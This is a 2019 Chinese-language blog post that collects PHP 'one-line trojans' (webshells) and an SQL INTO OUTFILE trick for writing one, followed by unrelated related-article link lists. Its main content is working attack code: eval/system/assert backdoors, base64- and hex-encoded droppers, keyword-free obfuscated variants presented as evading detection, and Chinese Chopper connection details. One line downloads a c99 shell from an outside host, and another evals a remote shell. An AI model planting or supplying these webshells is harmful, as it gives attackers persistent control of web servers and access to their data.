PHP与SQL语句写一句话木马总结


Posted in PHP onOctober 11, 2019

一、基础类的一句话--功能仅限于验证漏洞了,实际中非常容易被查出出来:

<?php @eval($_GET["code"])?>

<?php @system($_POST["cmd"])?>

二、编码的替换的类型:

<?php @fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='));?>

//会生成<?php @eval($_POST['lostwolf']);?>

 

<script language="php">@fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='));</script>

//php在html内部的一种嵌入方式

 

<?php fputs (fopen(pack("H*","6c6f7374776f6c662e706870"),"w"),pack("H*","3c3f406576616c28245f504f53545b6c6f7374776f6c665d293f3e"))?>

 

 

<?php

session_start();

$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);

$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');?>

三、其他类型:

<?php $_GET[a]($_GET[b]);?>

//?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

<?php assert($_REQUEST["pass"]);?>   //菜刀连接 躲避检测 密码pass 

<?php substr(md5($_REQUEST['x']),28)=='acd0'&&eval($_REQUEST['pass']);?>

//菜刀提交 http://192.168.1.5/x.php?x=lostwolf 脚本类型:php 密码为 pass

四、下载类型:

<?php echo copy("http://www.r57.me/c99.txt","lostwolf.php"); ?> 

<? echo file_get_contents("..//cfg_database.php");?> //显示某文件

<? eval ( file_get_contents("远程shell")) ?> //运行远程shell

五、无关键函数类型:

<?php

$_="";

$_[+""]='';

$_="$_"."";

$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");

?>

<?php ${'_'.$_}['_'](${'_'.$_}['__']);?>

http://site/2.php?_=assert&__=eval($_POST['pass']) 密码是pass

<?$_="";$_[+""]='_';$_="$_"."";$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");?>

六、补充知识点:

SQL写一句话(MySQL):

select "<?php @system($_POST["pass"]);?>" into outfile "/home/webaccount/projectname/www/*.php"

#前面是一句话内容 后面是绝对路径www下的PHP文件,同理其他脚本也可以

以上就是PHP一句话木马小结与SQL语句写一句话木马的详细内容,感谢大家的学习和对三水点靠木的支持。

PHP 相关文章推荐
利用discuz自带通行证整合dedecms的方法以及文件下载
Mar 06 PHP
PHP读取txt文件的内容并赋值给数组的代码
Nov 03 PHP
探讨:php中在foreach中使用foreach ($arr as &amp;$value) 这种类型的解释
Jun 24 PHP
提升PHP性能的21种方法介绍
Jun 25 PHP
PHP 抽象方法与抽象类abstract关键字介绍及应用
Oct 16 PHP
php实现webservice实例
Nov 06 PHP
php实现压缩多个CSS与JS文件的方法
Nov 11 PHP
PHP内置的Math函数效率测试
Dec 01 PHP
PHP从二维数组得到N层分类树的实现代码
Oct 11 PHP
thinkPHP5.0框架开发规范简介
Mar 25 PHP
php数据库的增删改查 php与javascript之间的交互
Aug 31 PHP
PHP之认识(二)关于Traits的用法详解
Apr 11 PHP
解决在Laravel 中处理OPTIONS请求的问题
Oct 11 #PHP
php生成HTML文件的类方法
Oct 11 #PHP
php报错502badgateway解决方法
Oct 11 #PHP
Laravel timestamps 设置为unix时间戳的方法
Oct 11 #PHP
laravel 时间格式转时间戳的例子
Oct 11 #PHP
PHP调用接口API封装的例子
Oct 11 #PHP
Thinkphp5.0框架使用模型Model的获取器、修改器、软删除数据操作示例
Oct 11 #PHP
You might like
PHP4和PHP5共存于一系统
2006/11/17 PHP
php fckeditor 调用的函数
2009/06/21 PHP
PHP的几个常用数字判断函数代码
2012/04/24 PHP
PHP文章采集URL补全函数(FormatUrl)
2012/08/02 PHP
深入php中var_dump方法的使用详解
2013/06/24 PHP
php中ftp_chdir与ftp_cdup函数用法
2014/11/18 PHP
PHP实现表单提交数据的验证处理功能【防SQL注入和XSS攻击等】
2017/07/21 PHP
解决Laravel自定义类引入和命名空间的问题
2019/10/15 PHP
用jscript实现新建word文档
2007/06/15 Javascript
jQuery EasyUI API 中文文档 - DataGrid数据表格
2011/11/17 Javascript
javascript跨浏览器的属性判断方法
2014/03/16 Javascript
js实现遮罩层划出效果是生成div而不是显示
2014/07/29 Javascript
多种JQuery循环滚动文字图片效果代码
2020/06/23 Javascript
Node.js中路径处理模块path详解
2016/11/14 Javascript
开发Vue树形组件的示例代码
2017/12/21 Javascript
vue+springboot实现项目的CORS跨域请求
2018/09/05 Javascript
利用JavaScript为句子加标题的3种方法示例
2021/01/05 Javascript
Python 登录网站详解及实例
2017/04/11 Python
替换python字典中的key值方法
2018/07/06 Python
在scrapy中使用phantomJS实现异步爬取的方法
2018/12/17 Python
详解Python连接MySQL数据库的多种方式
2019/04/16 Python
利用python开发app实战的方法
2019/07/09 Python
Tensorflow限制CPU个数实例
2020/02/06 Python
Python编程快速上手——选择性拷贝操作案例分析
2020/02/28 Python
python关于变量名的基础知识点
2020/03/03 Python
自定义Django默认的sitemap站点地图样式
2020/03/04 Python
python3实现将json对象存入Redis以及数据的导入导出
2020/07/16 Python
使用html5实现表格实现标题合并的实例代码
2019/05/13 HTML / CSS
ECCO俄罗斯官网:北欧丹麦鞋履及皮具品牌
2020/06/26 全球购物
员工薪酬福利制度
2014/01/17 职场文书
5.12护士节演讲稿
2014/04/30 职场文书
高中社区服务活动报告
2015/02/05 职场文书
会计专业2019暑假实习报告
2019/06/21 职场文书
MySql开发之自动同步表结构
2021/05/28 MySQL
HTML+CSS 实现顶部导航栏菜单制作
2021/06/03 HTML / CSS
Python 阶乘详解
2021/10/05 Python